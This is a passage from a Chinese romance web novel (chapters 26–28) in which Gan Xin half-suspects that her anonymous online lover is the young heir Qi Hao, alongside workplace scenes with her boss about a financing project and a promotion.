电梯来了,里面只有她一个人,她打开了手机,又本能地打开了景页的对话框,自从一个月前他告诉自己要出一趟长差之后,也很少联系她,有的时候只是一两句留言,有的时候只是一张照片,她从照片里的招牌中认出他并不在国内。 下行的感觉并不好受,这点失重感好像被身边的这几件事一起放大了,她突然感受到了许久没有的情绪,她清晰地知道,这种情绪叫做“孤独”。 她突然很想景页,想念他的陪伴与分寸,想念他的小礼物和炙热,茫茫人海之中,好像能够放肆自己独身主义,却也惯着自己矛盾的“依赖”,只有这个素未谋面的人。 Costa的咖啡不用等很久,但咖啡偏苦,甘歆突然想起来那天齐灏也是坐在这里等她的,那天自己故意拖着晚下班,那个小男孩到底等了多久呢? 她拿着咖啡杯并没有上楼,而是就这么找了个靠窗的位置坐了下来,阳光倾泻在木质的桌子上,有些发懵。 甘歆从未感慨过自己人生的奇特,却也不得不在此时压抑叹息,怎么能忍着自己的,到头来一个是不见面的网友,一个是不能逾矩的年轻人。 她甚至在反思自己过去是不是有些偏执,为什么要对外宣扬自己是独身主义,到底是什么让她失望的,是前任的敬重、是前前任的出轨,还是感情里你来我往的拉扯她已经厌倦? 那自己为什么有时就那么想要找人聊聊,简单的两句家常,或者只是说些无聊的废话。 她翻到了景页留给她的那串电话号码,她记得他说过的话,如果想找他,但没来得及回复的话,听到电话铃声,他一定会第一时间接起来。 或许,至少从对景页好奇,这应该是一个不错的开始? 已经顾不上是不是会打扰,触碰上屏幕的一瞬间电话就打了过去。 嘟——嘟——嘟—— 四五下铃声之后,依旧没人接,就在甘歆即将挂断的时候,那边有了声音,低沉、喑哑, 还有明显的睡意,“喂?” “……”甘歆有一瞬间不知道该说什么。 电话那边清了清嗓子,沙哑少了一些,又是一声,“喂?” 她还是不知道怎么开口,她并没有事找他。 听筒里传来了窸窸窣窣的声音,又走了两步,接着他的声音更清晰了一些,“怎么了,不高兴?” 短短的六个字,差点把甘歆的眼泪逼出来,来不及去思考他是怎么认出是自己的电话,甘歆的鼻子先酸了起来,“嗯。” 那边停顿了很久,才问出来,“是想我了吗?” 她一愣,这才明白过来,刚刚的情绪里,孤独和想念分了一半,她是真的在想念景页,也罪恶地发现,齐灏的离开,让她对景页更加依赖,一天的寥寥几句并不能满足。 “……是。” 那边轻轻笑了出来,又清了清嗓子,甘歆能清晰地听到他倒水的声音,甚至还能清晰地想象出景页喝水时喉结滚动的样子。 “等晚上好不好?”景页在电话里哄甘歆。 她突然觉得他的说话方式很熟悉,像那天在县城饭店里的齐灏,仔细听来,连声线都很像。 “姐姐?”景页又问她。 甘歆被叫了一声才回过神来,齐灏从来不会叫她姐姐,应该不是,仔细想了想景页说的话,她觉得他有些误会自己找他的原因了,“我不是那个意思。” “嗯,那是哪种想呢?” 哪种……甘歆顺着景页的思路探究,不是欲念,不是勾.引,更不是生.理.需求,而是……陪伴,他可以出现在她身边的那种想念,她第一次发现,自己竟然这么希望景页真的能出现在自己身边。 她以前觉得自己病态,也觉得景页病得不轻,从他们认识开始,一个装哑巴,一个装睁眼瞎,他们不守规矩、荒唐得颠三倒四,即使感官缺失,也不妨碍他们对着各自探险、各自挖掘。 “你回国后,”甘歆决定放肆一把,“我们要不要见一面。” 电话里突然传来了一阵巨响,好像是手机直接掉在了地上,甘歆也吓了一条,在反思自己是不是太过直接了,“不方便的话就算好了,我也是临时起意问问。” “我……”景页又咳了几下,“我没这么快回来,你能不能等我?” “多久。”甘歆皱了皱眉,似乎对这个答案不满意。 “一年,我在这里有个项目,一年后才结束。” 甘歆弄不清在听到这个答案之后是失望还是松了口气,但刚刚积攒的情绪却好像消弭了,她获得了暂时的轻松,她没有回答景页。 倒是对方有些着急,“一年之后,如果你还想见我,我们见一面,好吗?” 甘歆没有不答应的理由,这个提议是她提出来的。 “好,”她想了想又补充了一句,“你也不必把这个当成什么约定,我们……没什么关系。” “……嗯。” “挂了。”甘歆嘴里还和往常一样干脆,但手机上的红色按钮始终没有按下去,景页那边也没有挂断。 他们聆听着彼此的呼吸。 甘歆在阳光下,齐灏在夜色里,各自忐忑。 过了许久,甘歆才说:“你挂。” “再说一次你想我好吗?” “说了你就挂吗?” “……嗯。” 甘歆觉得景页像是上天特殊派来考验她耐心的礼物,他就像一本丢了封面的书,中间还有一页折起了角,只有翻到那一页时,才有机会展开。 “我想你了。” 对方沉默了,似乎陷入了虚无。 “喂?” “在。” “我说了,你挂吧。” “……再等一分钟。” “那我开始倒计时了?” 齐灏捏着手机的手在发抖,确切地说,他整个人都在发抖,从国内离开的那一刻,他以为自己很难再见阳光。 现在,他在加州南部洛杉矶的别墅里,几乎是跑着到了窗边,将窗帘全部拉开,海和天都是黑色,混沌得让人看不清,可齐灏却觉得此刻光芒万丈。 “还有三十秒。” “我也很想你。” “二十秒。” “真的,每天都想。” “十秒。” “姐姐,你要等我。” “三——” “等我回来!” “知道了,等你回来。” 电话依旧是甘歆挂断的,挂断后她长长呼了一口气出来,再喝一口咖啡,却不觉得那么苦了。 第26章 第26章姐姐,给我。 当天夜里,甘歆和景页极其放肆,男人几乎在确认她刚刚进门,就给她打了视频电话过来。 甘歆认为,既然景页都不再遮掩声音了,那自己也需要回报他一些什么,破天荒地,她打开了摄像头,只是才晃了一下脸,对方就将视频转换成了语音通话。 “不必这样,你是女孩子,不要这样。” 甘歆有些惊讶,她以为这么做只会让他兴奋,却没想到被阻止了,虽然心中感动也感激,但她并没有打算放过他,“你不喜欢么,还是不想?” “……我想,但留给我们见面好么?”男人的声音已经有了止不住的喘息。 “你想什么?”甘歆自己已经躺到了柔软的床上,连外衣都没脱掉。 “什么都想!什么都想……” 会说话的景页几乎让她兴奋,一贯的放肆也让她放松了心防,让她无暇顾及这个人声线里的破绽,她对着手机里的人下起了命令,“说出来。” “想把你抱在怀里,叭光你的衣服,让你只能扶着我的肩膀,想把你……摁在身下。” “做什么,嗯?”甘歆大概是疯了,她亟需一场酣畅淋漓来解渴。 “吻你,舔你,咬你,吸你,要你。” 甘歆逗他,“你好凶,我不要跟你见面了。” “……那我轻点,好不好?” 又是好不好,齐灏的脸闯进了自己的脑子里,甘歆的脑海自动将齐灏的脸放到了景页的脖颈上,拼装了一下竟意外地和谐,连身体的反应都更强烈了一些,如果景页的脸能和齐灏帅得不相上下,那她的确是赚了。 “别……重一些。” 他们都没有开视频,却都互相确认在一件件地剥开自己,互相的手机里都传来了衣服褪去的声音,甘歆直接钻进了被子里,天色还没全暗,但她将被子拉过了头顶。 “姐姐,给我。” 不得不说,景页实在是一个守规矩的人,这次又好像特意留出了十二分的时间,用了极大的耐心,每每想对甘歆做一件事,都会征求她的同意。 他问可不可以吻她的后颈,又问可不可以在锁骨上留痕,连想把手放到她的后腰上,都要征求她的同意。 他说他想做的坏事实在太多了,所有的行为都带着“肮脏”的欲念,可他又说不想弄脏他的姐姐。 他们互相诉说的话里都带着热意,仿佛通过两个小小的手机,就能感受彼此灼热的温度,他让他的姐姐再大点声,他说他就在被子里。 他化作了氧气,而躺着的姐姐就是一汪湖水,氧气沉得太过用力到了湖底,却又因为不溶于水而冒出水面,碧波涟漪一圈又一圈,他再沉下去,连耳朵里的声音都好像被闷住了,他实在太想沉浸,又迫于浮力被挤压出来,湖心也跟着他的动作冒出了一个泡来。 甘歆觉得自己浑身都在出汗,发梢都黏连在了白皙的脖颈上,她在被子里呆得太久,先出来的那只手直接抠到了床架上,整只手都带着潮热湿气,连指缝里都有水色,在她指骨抓到泛白的时候,全身似乎过了电,所有的能量都涌到了一起,再霎时散开。 抓不住床架的那只手软了下来,连带着掀开了被子的一角,她大口汲取着新鲜空气。 平息过后,甘歆的声音都哑了,“……景页。” 电话那头的男人的呼吸也渐渐稳落,“嗯。” “一年后回来,你别骗我。” “不骗你,你要等我。” “看心情。” “……姐姐是想没力气干别的吗?” 这是景页第一次威胁甘歆,她觉得很新鲜,“怎么会,你又不在。” 景页的声音咬牙切齿,“你等着的。” 甘歆笑了笑,又扯到了一下,嘶了一声。 “弄疼了?” “开什么玩笑,”甘歆大笑,“你是什么赛博物种吗?怎么弄的你说说?” “姐姐替我弄的。” 甘歆一下就哑火了。 “姐姐可以叫我阿颢,景页合起来,读灏。” 甘歆愣住了,长久以来,她竟然从来没注意过,景页合起来,竟然也是念颢。 “……你的名字和我认识的一个人很像,声音也很像。” “谁?”电话那头的齐灏瞬间紧张了起来,他期待能从甘歆的嘴里听到自己真正的名字。 不知道为什么,甘歆却不太愿意在他面前提起这个人,或许是因为他曾经说过要追自己,又突然消失不见,对她好的事迹都很深刻,但对他这个人,却了解得很少。 “你又不认识。”甘歆笑笑敷衍了过去。 “万一我认识呢?” “那你太可怕,我要离你远一点。” “好吧。”齐灏的声音低了下去。 两人又简单聊了一会儿,最终齐灏又哄了甘歆两句,直到她挂了,才叹息着走进了浴室洗澡。 他的学分早就在大三的时候修完了,论文也早早提交,但答应了家里会利用大四一年空余时间来海外先熟悉一下市场,顺便和一些资本还有年轻企业家打个交道。 要不是甘歆在一个月前那么明确地拒绝了自己,这个国他可能都不会出。 但他知道,他需要时间,需要成长,也需要用更成熟的形象,才可能在甘歆这有一些赢面。 从17岁开始寻觅这个人的踪迹,他看着她与前男友分手,再到独居,三年来出现在任何一个甘歆可能会出现的场合,却每一次都巧妙地被避开了,直到F大接了晟宇的论坛活动。 他抱着侥幸的心理,甚至不惜透底自己的身份,来换取和徐教授一起对接晟宇的机会。 幸运的是,他紧罗密布的网终于挽住了她,在教室休息室开门的一瞬间,他几乎要窒息。 但与她的日常相处下来,他明白,甘歆觉得他们相差太大,她根本不可能会多看他一眼,即使他再优秀,再特别,她都不会为他冒这个险。 但是,喜欢甘歆对齐灏而言,本来就是一场豪赌。 他要赌她的不忍心,赌她的舍不得。 今夜他差点要把话说透,可甘歆又回避掉了。 齐灏站直淋浴下,全身都被水打得湿透了,还是觉得无法洗涮去心里的那一点苦味。 “甘歆啊甘歆,到底我要提示到什么程度,你才会认出我呢?” —— := 他们相处的模式越来越像异地恋情侣,她会在早上收到景页的问早,并督促她务必要拍早餐给他看,她会在中午11点的时候和他说晚安。 景页几乎每天都会给她发照片,洛杉矶的天气和他的自拍照,只是依旧没有脸,但甘歆觉得他只是变成了一部有声书也不错,从来也不会对他提要求。 他偶尔会送她礼物,依旧不是很贵重的东西,一个保温杯、一副耳机、加热的桌垫和杯垫,他好像很担心自己会不按时吃饭,也担心自己吃生冷的食物。 他们聊的内容不再局限于电影和互撩,还会带入到不少生活。 在获悉景页就住在江边的时候,甘歆有些惊喜,意外更多一些,她从来没意识到,这个人竟然会离自己这么近。 她对景页开玩笑说自己说不定什么时候看见过他,对方沉默的几秒里,真的让甘歆有些紧张。 “姐姐,我们如果真的认识怎么办?” “不会吧,”甘歆拿了颗红提塞进了嘴里,“你这么扎眼,我见过的话肯定有印象。” 电话那头的他轻轻笑了两声,“姐姐有见过什么扎眼的人么?” 扎眼的人……说实话,她能接触到的异性里,扎眼的人不少,沈确成熟沉稳,也有一副好皮囊,梁越温文尔雅,还有一股书卷气,但要说到最扎眼的……还是那个许久没有动静的太子爷了。 “见过不少。”甘歆对着景页开玩笑,“那个跟你名字很像的人就很扎眼。” “哦?多扎眼?” “……光是站在那里,应该就很难得了吧。”甘歆实话实说。 “这么厉害。” “嗯,不过已经很久没他的消息了。” “姐姐想他?” “也不是,你不是问我有没有谁特别扎眼么。” “他知道么,你觉得他扎眼?” “不知道吧,”甘歆猜测,“我觉得他并不想让自己看起来那么特别。” “你很了解他?” “没有,只是在一起工作过几天。” “真羡慕,他肯定很喜欢你。” 甘歆心里一惊,否定得太快,看起来仿佛刻意遮掩,“没有。” “我觉得很少有人会不喜欢你。” “没有吧,”甘歆笑了笑,语调更是难得的俏皮,“也只有你这样不想看脸的傻子,能被我骗一骗。” “我心甘情愿。” 景页的声音大多数时候都很低,这让甘歆总有错觉打扰到他工作,可舒缓的语气和恰到好处的玩笑,总是让她舍不得挂电话,总想多听两句、多讲两句。 她慢慢觉得自己的这种变化很好,不似之前拒人于千里之外,反而柔和了很多,她突然觉得自己标榜独身主义甚至有些画蛇添足,甚至变相成为了一个让对方纵容自己的借口。 甘歆很庆幸,景页并没有因为自己的宣告而退缩,依旧选择和她共享时间,对她从来顺从,只有在两人互相舔舐抚慰的时候才会稍微强硬一点。 她觉得……景页也一定是个很扎眼的人,光从他的身材和生活习惯上就能看出来,是个极自律的男人。也在他的一天天陪伴下,甘歆开始憧憬他们相面的场景,甚至会去思考,他长什么样……第一次见面是会牵手还是拥抱。 或许未来见面的日子想得太多,她也希望和景页的关系逐渐明朗。 刻在骨子里的急性子让她并不擅长等待,暧昧期拉得太长,总有一方会变心。 自己对于景页而言,更加神秘,透露的信息几乎约等于零。互相探究了这么久,大多都是景页主动,如果要改变关系,甘歆愿意以年长者的姿态去推动。 再等到一个周末的时候,甘歆主动给他拨了个语音电话过去,“要不要正式认识一下?” 那边沉默了几秒,才回的她,“怎么算正式?” “我叫甘歆,甘甜的甘,歆羡的歆,今年33岁,”她说得爽快,但也止不住心里的紧张,捏紧的手都有些凉,“到你了。” “我……” 齐灏戴着蓝牙耳机,手机屏幕上是他们语音通话的界面,就放在他面前的桌上,但他的手紧紧握上了桌沿,紧张极了。 “不方便吗?”甘歆激了激他,“见面的话,这些都藏不住吧。” “我叫阿灏,今年……21岁。”齐灏的声音都有些发抖。 “你比我想得年纪要小很多,”甘歆伸手挠了挠眉骨,有些尴尬,的确小得有些出乎意料,“已经上班了?” 齐灏深吸了一口气,根据自己的真实情况回答她,“18岁就开始上班了。” “……这么早,读大学了吗?” “嗯,前两个月答辩,已经拿证了。” “提前修的学分?” “嗯。” 齐灏鼓起勇气问:“会觉得我年纪小吗?” 甘歆更疑惑,“你不觉得我年纪大吗?” “姐姐很好,我很喜欢。” “好吧,”甘歆咬了咬嘴唇,和他的交流还算顺畅,不算有什么障碍,何况已经聊到这了,再纠结年龄好像显得自己很矫情,“那你姓什么?” 齐灏两只手都攥紧了,平整的指甲都抠进了掌心里,每根手指的指尖都泛着白。 他深深吸了口气,喉结上 下滚动了一下,下定了决心般地,说了出来。 “我姓齐。” 第27章 第27章她还记得他,没有忘记他。…… 甘歆直接就把电话挂了。 搞什么,齐灏?!疯了!!! 她看着被扔到沙发那头的手机,脑子里乱糟糟,他怎么姓齐?!景页怎么可能是齐灏?! 语音通话铃又响了,甘歆却不敢去接明明和自己这么长久以来交流感情、甚至发生些不雅事件的是景页,但她此刻脑子里都是齐灏的脸。 怎么会这么巧?! 姓齐,名颢,21……岁?21岁?齐灏20岁才对吧? 可他们的声音也很像。 她打开了齐灏的聊天框,上下翻了一下,只寥寥发过一两次超级短的语音条,也只打过一次语音电话,距离上次出差回来是自己要躲着他的,这会儿连声音都无从考究。 语音电话铃声一直没断,一遍遍地打来。 甘歆飞速思考着与齐灏凑在一块儿的日子,在家里讨论项目的时候,景页和他对话过,一起出差坐在同一辆车的时候,景页和他对话过。 齐灏出现的日子里,景页并没有缺席。 难道真的是自己太敏感了? 景页合起来虽然也念灏,但是至少没有三点水吧。 寰科的太子爷小齐总,说要追她的时候都光明正大,不会做这种……上不了台面的事的吧。 他要真想围攻自己,方法太多了,用不着这么迂回吧…… 这语音通话铃声怎么都不断? 甘歆又趴过去取手机,摁下了接听键。 “姐姐。”景页的声音再次传来,平静得仿佛刚刚不是他在夺命连环call似的。 甘歆没说话,她想听景页再多说两句,试图从他的声线里辨别出一点与齐灏相关的东西来,或者被识破的慌乱、紧张、无措,什么都好。 “你怎么了,没电了吗刚刚?” 但他什么都没有,像是一艘船进入了无风区,船桅上的帆都落了下来。 “发生什么事了?”对面此时声音里才夹杂了些着急,仿佛也在确认什么,“耳机没连上?” 他表现得太过自然、太正常,说话也如往常一样。 天衣无缝,毫无破绽。 除非齐灏刻意为之,那也只剩下了一个可能。 他不是齐灏。 “……没事,刚刚手机没电了,我去拿了充电器。”甘歆的声音都沉了下来,手也发凉,没了刚刚要和景页互相剖白的冲动,“你那里很晚了,早点休息吧。” “现在我这里是周五晚上。” 甘歆实在没办法在受了那么大刺激后还能和景页平静地聊下去,她想要一些独处的时间消化下,至少让她慢慢接受两个人如此相像,但不是一个人的事实。 “抱歉,我有点累了,今天先聊到这里好吗?” 那头沉默了一会儿,说出来的话带着一丝可怜,“是我的问题吗,让你感到困扰了。” “……不是,”甘歆否认道,“是我自己的问题。” “姐姐,”那边的景页不依不饶了起来,“不要仅仅因为年龄来判断我,这对我不公平。” “我没有……”甘歆说话都有些有气无力,“不是年龄的事。” “那是什么?” “……没什么,”她无法将齐灏与他相似说透,不提齐灏的身份,这么说的本身对景页也不公平,何况自己也是一直对景页有依赖眷恋而已,“我就是有些累,可能睡一觉就好了。” “你还会见我吗?”景页似乎失去了过往的风度,像抓救命稻草一样抓住与甘歆说话的可能,“还有八个月,你……还会见我吗?” 甘歆不知道该怎么回答。 “你也别骗我,好不好?”他的话语里几乎有了恳求。 “阿颢,我真的没事,就是刚刚觉得有点晕,可能没休息好,”甘歆半安抚半妥协,“我先休息一会,等到了晚上,再联系你好吗?” “好,我会等你。” 电话挂断了,甘歆却忐忑了起来。 刚刚景页的表现几乎再次印证了他不是齐灏这个事实,但是……只要一想到齐灏,再联系上自己和景页做的这些荒唐事,甘歆就觉得有些无地自容。 如果自己这么见不得人的秘密都被齐灏撞破的话……他到底会怎么看自己? 脏?不堪?嘴上说着年轻人不愿意身体却很诚实? 会不会有更难听的……当婊.子还要立牌坊? 事实上,她想和景页将关系转正,也有一部分想要避嫌的意思。 他们终归不是正经认识的,以后要是在一起,难免会被人说闲话。 她想要自己和景页大大方方地站在一起。 可现在却不那么确定了,即使她大概率已经确认了他不是齐灏,也无法短时间内让自己能够坦然地面对他。 甘歆明白,想要揭开他到底是不是齐灏,有一个最好的办法。 看他的脸就可以。 但她就是无法提出这样的要求,何况他们俩已经说好,会将这份惊喜留到见面。 她卧倒在沙发上,看着客厅的天花板,闭上眼睛叹了口气,咬了咬牙又有点生气。 齐灏这人,怎么消失了还哪哪都有他。 胡乱蹬了蹬两条腿,甘歆又坐了起来,拿起手机给徐教授直接打了个电话过去,很快接通了。 “徐老师,周末打扰您了,有个事想向您打听一下。” “你说你说……哎哎哎,我打电话呢不要乱吃乱碰。” 甘歆笑了下,老徐打麻将呢。 “论坛活动谢谢您了,我后面工作也忙,没继续跟进,我们这边给那天来的志愿者同学都准备了一封感谢信,但对接的同事找不到齐灏,您这边有他的学生邮箱吗,我不想直接问他也是想给他惊喜,主要也是公司邮箱直接发出去的。” 编了一大堆理由,只是想问问齐灏的现状而已,甘歆在不知不觉中,变得不直接、甚至有些扭捏。 “齐灏啊?哎哎你别动,我要想想,手拿开!”老徐那头麻将正酣战,回答起甘歆的问题来倒有些漫不经心,“他不需要这个吧。” “徐老师,这也是晟宇的一片心意,所以……” “不用给他发啦,他六月初答辩完就离校了。” “他离校了?去哪了?国外吗?”甘歆的心提到了嗓子眼。 “这个我们怎么好打听,应该是直接进寰科了吧,齐老爷子还特意给我们院长打招呼来着,说该让他出去历练历练了。” “直接进寰科了?”甘歆有些不可思议,甚至在无意识地为齐灏辩解了起来,“他才20岁。” “20岁咋了,人家20岁过得比200岁的还精彩,”老徐那边又喊了声碰,打了个牌,才继续说,“歆总啊,齐灏这种人,我们一辈子能打上一次交道,叫三生有幸,他不会在一个地方固定太久的。” 甘歆被这句话震得说不出话来。 “他真的不需要感谢信,也别往心里去,挂了啊,有机会吃饭。” 直到电话挂断,甘歆还是懵的。 缓过劲来时,却觉得心里有些难受,并非因为他消失了,也不是因为他不需要感谢信,而是因为齐灏明明还没到毕业的年纪,就要踏进寰科里。 她自认,在晟宇工作自己尚且不能游刃有余,寰科只会比晟宇更加复杂。 甘歆并非不认可齐灏的能力,与他出差的那几天,她能感受到这个太子爷并非只是空壳一个,而是实打实地出类拔萃,就连面对沈确这样的老油条,也完全不会占下风。 这个男生……到底经历了什么,才会在20岁的年纪,呈现出超越年龄的成熟稳重? 好像也不完全如此,至少他说想追自己的时候,甘歆觉得他是个小孩。 她此刻有点想问问齐灏,问个好,或者只是问问近况。 聊天联系人和电话号码都有,但她始终没有迈出那一步。 甘歆觉得老徐说得没错,和齐家人打交道,一辈子一次都算多的,他都含着金汤匙出生了,欲戴皇冠、必承其重吧。 已经过了中午,甘歆也不打算在短时间内联系景页,她换了身宽松的休闲服,打算去便利店里买点东西对付一下。 刚从玄关鞋柜里拿出鞋穿上 ,她想着拿个口罩,便打开了上面的柜门,之前或许塞得太紧,哗啦啦地掉下了好几袋东西。 藕粉、芝麻糊、豆浆、米糊—— 甘歆有些愣了,这些都是齐灏上次来她家聊项目的时候带来的,怎么会放在这里的,她也不清楚,就是再次看到这些觉得心里有些发闷。 仿佛突然意识到自己的拒绝,以及对齐灏行为的揣测,真的会伤害到这个男孩一样。 她脱掉了穿好的鞋,拿了两包藕粉进了厨房。 冲泡藕粉说来怪,需要先用温凉水化开,再浇以开水,才能得到稠密透明的藕粉糊。 她拿了勺子,端着碗去了餐厅,碗被开水浇得发烫,她不得不用双手捏了捏自己的耳朵,坐下来小口小口喝的时候,甘歆打开了手机相册,翻到出差的那个月,仔细又看了看齐灏的模样。 干净、有朝气,连眼睛都亮晶晶的,她下意识地提起嘴角笑了笑,果然是齐灏说的“大学生模样”。 再去细想他为自己化解尴尬、告知雅悦内情、挡酒的样子,甘歆突然觉得,这个男孩子,真的有阳光的味道。 手机顶部来了消息提示,是景页发来的。 “姐姐,我睡不着。” “要记得吃午饭,你胃不好。” 甘歆突然觉得自己这么怀疑景页和齐灏的关系,不仅对景页不公平,对齐灏也不妥,又觉得自己小题大做,灏也好、颢也好、浩也行,这个世界上叫这个音的人那么多,还能一个个怀疑过来了? 甘歆拍了一张正在吃的藕粉照片发了过去,“正在吃,吃完了我陪你一起睡会儿。” 大洋彼岸的齐灏收到这张照片的时候,怔住了,接着是巨大的欣喜。 甘歆还记得他,她没有把他忘得一干二净。 他都嫉妒景页,景页可以对甘歆肆意占有,汲取她的感情、遥控她的身体。 幸好、幸好占着景页身份的人,是齐灏,是他自己。 他都不敢去想,若是旁人与甘歆如此这般,自己会疯成什么样。 就在此刻,齐灏也真正确认了,甘歆对他确实有不忍心。 他还有机会。 他要堂堂正正站在她的面前,告诉她,他好喜欢她。 第28章 第28章天才……只是见齐灏的门槛。…… 从北泽回来后,甘歆和沈确一直不咸不淡的,依旧还是会聊公事,但不再互相开玩笑了,聊完了就撤,有的时候她感觉得到沈确想和她说点别的,但她不太愿意听,每次都会卡点离开。 坦白说,她对沈确没什么不满意,这是他作为商人的选择,没什么好诟病的,但不爽是真的,让她主动去和沈确缓和,她的确也做不到。 张然是最先察觉出来他们俩之间问题的,还旁敲侧击过,但甘歆始终没说沈确的一句不是,只说是张然太敏感了,他俩也没闹什么不愉快。 周一中层会议期间,王潇又给甘歆留了言,说等会去沈总办公室一趟,北泽那边已经准备动员拆迁了,具体事项需要商议,甘歆只说好。 她已经很久没有单独去过沈确的办公室了,也清楚现在公司里对于她的流言是沈确的“被正宫挤走的小三”,离谱得让她无语,最让她无法接受的是,路过经营管理部的时候,还会被Rita以前的下属阴阳怪气。 那天甘歆气得还迁怒了景页,男人在电话里哄了她许久,但她还是很有操守地没说出原因,最后他闪送了个一米八的大熊给她,她才反气为笑,又对景页念叨说不要把她当小孩子,景页自是不肯,说她不管多大都是自己要保护的小女孩。 这会儿经过经营管理部,她看到Rita竟然在,还和她原来的下属打成一片,她们看过来的眼神绝对不善,甘歆只想装作若无其事地路过,却没想到Rita竟走了过来。 她保持风度,带上微笑,并没有先开口。 “好久不见,歆总,”Rita凑了过来,也笑开了,带了些得意,“最近怎么样呀?” “好久不见,”甘歆笑得也自然,“挺好的,你更漂亮了。” “哎呀……”Rita扭捏了起来,还带点娇羞,“哪有,歆总老取笑我。” “真的,我只说实话。” “好啦,不上班后睡眠是好了很多,可能跟这个有关吧,歆总最近忙吗?” “忙,”甘歆睁了睁眼睛,“我得上去开会了,下次聊。” “是沈确找你吗?” 甘歆愣了一下,以往在公司,Rita再放肆,都不会直接叫沈确的大名,“嗯,沈总说项目上有事,应该还有其他部门的负责人一起。” Rita捂嘴笑了笑,“歆总不必紧张,我就是问问,快去吧,他等急了可是会骂人的。” 甘歆点了点头,快步走到电梯厅里,这次她倒不想走楼梯了,突然感受到了其他人要去沈确办公室开会前坐电梯的精髓,这几分钟里,足够让她把刚刚和Rita聊过的话放在一边,整理好情绪。 王潇在看到甘歆的时候站了起来,“歆总,您这边先坐会儿,沈总在打一个重要电话,我去给您泡茶。” “不忙,”甘歆叫住了他,“别麻烦了,我喝了水上来的。” 王潇点了点头,自顾自地回到了电脑前处理起了文件,并没有因为甘歆的存在而影响什么。 她很少会在沈确门口的会客室等待,每次来都是沈确在等她。 甘歆打量着这个不算大的空间,只有秘书的桌子,还有她现在正坐着的三人沙发,她突然觉得这样也很好,至少时刻在提醒她,比起朋友、知己这种更亲近的关系,他们更多是老板和下属。 就在她即将无聊到要拿出手机的时,沈确突然大声喊了王潇的名字。 “王潇!!!” 王潇立刻从座位上弹起来,先是扶了扶眼镜,又在门口深吸了一口气,连甘歆都来不及看,立刻开了门,“老板。” 门开着,里面的对话自然听得到。 “这份财报谁做的,给我叫上来,当着我面改!!” “……老板,”王潇话里有些犹豫,“您约了歆总,她就在外面。” 声音突然就停了下来,沉默了几秒后,沈确似乎从暴怒中恢复了神志,“请她进来,财报的事你亲自盯一下。” “好,沈总我给您换杯热茶。” “不用了,你去忙吧,谢谢,请歆总进来。” 甘歆进去的时候王潇还对她点了点头,她知道那是对她的好意,让她顺着点沈确,别触了霉头。 她本来是想坐在她办公桌对面的椅子上的,那边更正式一点,却没想到沈确主动拿了茶杯到沙发边,放下杯子坐下后才看了她一眼,“不坐?” 甘歆识趣,坐在了沙发的一边,离在单人座上的沈确不近不远。 “刚刚被基金公司的审计批了财报的几个问题,挺基础的错误。” “嗯……您也别太生气,一定不是故意的,可能有什么事开小差了。” 沈确看着她,脸色上露出了不理解,又笑了笑,“什么时候雷厉风行的歆总,学会体谅人了?” “我呃,”甘歆轻轻皱了下眉,但还是无法和他开玩笑,“只是猜测。” 沈确见她回得干涩,欲言又止,最终还是直接说了项目的事,“北泽那边准备动员拆迁了,和当地政府聊得不错,村民们的情绪也比较好,你上次出差辛苦了。” “应该做的。” “动员拆迁,你有什么想法吗,搞点营销活动?” “好的,我回去和部门的人聊一下,回头拿两个方案过来给您。” “……阿歆,”沈确似乎受够了她这种官方回答,“北泽这个项 目我有点过于重视了,如果有哪里处理得不好,我向你道歉,关心则乱了。” “沈总,您不必这样,”甘歆坦言,“您说得也没错,这件事上我也有不成熟的地方。” “雅悦……”沈确有些迟疑,还是问了出来,“你都知道了?” 她也不想装傻,聪明人之间装糊涂只能用一次,多了就过了,“嗯,知道一些。” “度假村项目的利润太大了,才会让我这么犹豫,”沈确说得心平静气,和他刚刚暴躁骂人的样子完全不同,“幸好是齐灏跟着你去了,不然我也不知道会发展成什么样子,是我鲁莽了。” 如果刚从北泽回来,沈确说这些话,她尚且能够再为他找补两句,但已经过去小半年了,再来谈这件事,就有些不妥。 好像是两个僵持的人,沈确终于来委曲求全一样。 真的大可不必。 “所以之后的营销方案,沈总是有什么想法吗,或者您初步跟我说说,我们看看能不发散一下。” “阿歆,”他显得有些急躁,“你是我一手带出来的,我不想你跟我太见外。” “没有的事,您多虑了。”她疲于应付,只作敷衍。 “齐灏对你的评价很高,”沈确突然说道,“上周还跟我提起你。” 甘歆挑了下眉毛,似乎终于从他们的对话中间找到了一点兴趣,这个细微的动作被沈确捕捉到了,他继续展开起来。 “晟宇正在做融资准备,寰科开出来的条件不是最好的,但却是最适合的,融资成功的话,他们的利润空间也很足,他比我想得厉害。” “……他是挺厉害的,走一步想十步,做事很细致。” “是,下手也挺狠的,”沈确抬了个眉毛,“他说你很有见解,也很果决,所以在北泽的那个决定,是你下的吗?” “什么决定?” “做保障房,弃度假村。” “嗯,”沈确说话的语气,让甘歆有一瞬间觉得,他是来问罪的,而不是道歉,但她并没打算避开,“是我,保障房是晟宇的项目,度假村不是。” “挺巧的,齐灏也是这么跟我说的,他说我的眼睛被钱迷了。” “……您有您的考虑吧,但我还是会保晟宇的项目。”甘歆有些心惊,好歹沈确在圈子里还算个有头有脸的人物,被齐灏这么说,竟然不动怒。 “融资也需要做个营销计划,你想和寰科对接吗?”沈确停顿了一下,“当然了,他们的团队也很专业。” 甘歆感觉自己浑身好像被电了一下,齐灏那张笑脸就这么撞进了脑子里。 “您安排吧。”她心里有些乱,不知该如何回答,确切地说,她不知道该怎么面对齐灏。 “阿歆,我在问你想不想。”沈确的上身往前,手肘撑在了膝盖上,就这么看看着甘歆,等她的答案。 她拿不准沈确这么问他的目的,这种时候她更希望沈确能够给她一个答案。 “我不知道。” “要不试试?”沈确提议,“晟宇现在还没有VP,我希望你是第一个。” 甘歆抬头撞上了沈确的视线,面前的这个男人已经是晟宇的CEO兼总经理了,的确按照目前晟宇的规模,的确应该安排几个VP,将事业部分一分,对公司、对沈确来说都是件好事。 “那我试试。” “北泽和融资两件事都很重要,你要辛苦一阵了。”沈确整个人又仰了回去。 “没关系,我会尽力的,融资这个我跟谁对接?” “我,”沈确顿了一下,“还有齐灏。” “直接跟你们两个对接?”甘歆尴尬地笑了笑,“没个助理什么的吗?” “VP也是直接和老板投资人对接的。” “好吧,那麻烦您将项目资料发我一份,晚点我会联系一下齐灏,打个招呼。”甘歆像是突然想到了什么,“我怎么叫他比较合适?” “你们之前怎么叫的?” 甘歆坦言:“他叫我学姐,我叫他名字。” 沈确抬了下眼睛,似乎有些惊讶,“我们都叫他小齐总,他18岁入行开始,就没有人敢叫他的名字了。” 这下轮到甘歆不会了,“他18岁就入行了?” 